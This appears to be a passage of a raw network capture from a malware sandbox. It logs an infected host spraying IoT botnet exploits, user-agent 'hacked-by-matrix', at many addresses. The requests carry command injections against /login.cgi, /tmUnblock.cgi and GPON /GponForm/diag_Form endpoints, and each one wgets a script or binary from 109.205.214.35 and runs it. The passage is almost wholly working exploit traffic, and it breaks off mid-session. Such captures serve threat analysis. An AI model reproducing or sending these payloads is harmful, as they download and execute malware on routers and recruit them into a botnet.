Mar 21, 2024 05:17:36.937021971 CET	577	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 21 Mar 2024 04:17:34 GMT Server: Apache/2.2.22 (Ubuntu) X-Powered-By: PHP/5.3.10-1ubuntu3.26 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 200 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 35 8f 31 0e c2 30 0c 45 67 7a 0a 93 bd 58 15 0b 85 b4 0b 30 c3 c0 c2 18 5a 43 22 b5 09 24 86 96 db 93 50 98 be 6c bd e7 2f cb f9 ee b0 3d 9d 8f 7b d0 dc 77 75 26 53 c0 d8 77 36 54 42 33 df d7 88 c3 30 2c 86 e5 c2 f9 1b 16 65 59 e2 98 18 91 58 52 6d 8c 9e 58 41 62 73 7a 3c cd ab 12 5b 67 99 2c e7 a7 f7 9d 04 34 d3 54 09 a6 91 31 b9 1b 68 b4 f2 81 b8 7a f2 35 5f 09 c0 3a 9b 49 36 dc 51 bd 53 ac 2e 2a 10 ec bd 77 5e e2 b4 cd 32 89 bf b6 8b 6b df 09 d7 45 fd 45 80 42 34 3a 13 b4 b1 37 50 d0 fe 0f c4 5e 4b 0d 1b 67 a3 5b 44 13 27 55 e2 f4 ea 07 9b 41 bb 2e fb 00 00 00 Data Ascii: 510EgzX0ZC"$Pl/={wu&Sw6TB30,eYXRmXAbsz<[g,4T1hz5_:I6QS.*w^2kEEB4:7P^Kg[D'UA.

Session ID	Source IP	Source Port	Destination IP	Destination Port
542	192.168.2.23	52706	212.227.248.14	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:32.976351976 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:33.162080050 CET	518	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:17:33 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 324 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 73 31 37 33 30 33 36 36 36 2e 6f 6e 6c 69 6e 65 68 6f 6d 65 2d 73 65 72 76 65 72 2e 69 6e 66 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.2.15 (CentOS) Server at s17303666.onlinehome-server.info Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
543	192.168.2.23	57468	172.87.208.1	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.124021053 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:37.278852940 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:43.419137955 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:55.449480057 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:20.789968967 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
544	192.168.2.23	60024	2.17.106.22	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125442982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
545	192.168.2.23	49644	210.242.215.208	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125487089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
546	192.168.2.23	47542	178.130.91.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125490904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
547	192.168.2.23	33226	5.218.254.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125545025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
548	192.168.2.23	60042	94.18.183.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125588894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
549	192.168.2.23	40206	5.65.80.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125622988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
550	192.168.2.23	60014	212.115.234.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125655890 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
551	192.168.2.23	43002	118.109.195.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125690937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
552	192.168.2.23	42878	42.160.160.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125715971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
553	192.168.2.23	51384	210.42.134.129	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125741005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
554	192.168.2.23	33934	37.116.251.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125790119 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
555	192.168.2.23	35074	5.152.63.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125824928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
556	192.168.2.23	54150	37.99.163.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125824928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
557	192.168.2.23	44438	109.73.208.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125894070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.23	45490	37.136.243.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125901937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.23	54544	178.98.134.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125940084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.23	42038	79.37.169.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.125988960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.23	38666	42.56.113.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126002073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.23	48356	178.26.34.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:33.126055002 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.23	55130	5.139.228.150	443

Timestamp	Bytes transferred	Direction	Data
